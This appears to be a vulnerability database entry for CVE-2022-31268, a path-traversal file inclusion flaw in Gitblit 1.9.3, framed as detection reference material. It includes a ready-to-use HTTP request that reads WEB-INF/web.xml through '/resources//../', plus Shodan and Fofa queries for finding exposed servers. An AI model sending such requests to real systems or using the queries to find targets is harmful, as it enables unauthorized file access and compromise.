🔙 목록으로 돌아가기

CVE-2022-31268: Gitblit 1.9.3 - Local File Inclusion

TitleGitblit 1.9.3 - Local File Inclusion
Author0x_Akoko
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
RemediationUpgrade Gitblit to a version that is not affected by the vulnerability (CVE-2022-31268).
CVSS Score7.5
EPSS Score0.90039
CVE IDCVE-2022-31268
CWE IDCWE-22
Shodan Queryhttp.html:"Gitblit"http.title:"gitblit"http.html:"gitblit"
Fofa Querytitle="gitblit"body="gitblit"
Tags cve cve2022 lfi gitblit vuln

🔍 Vulnerability Description

Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).

🌐 HTTP Request

GET /resources//../WEB-INF/web.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.8
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31268.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-31268.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A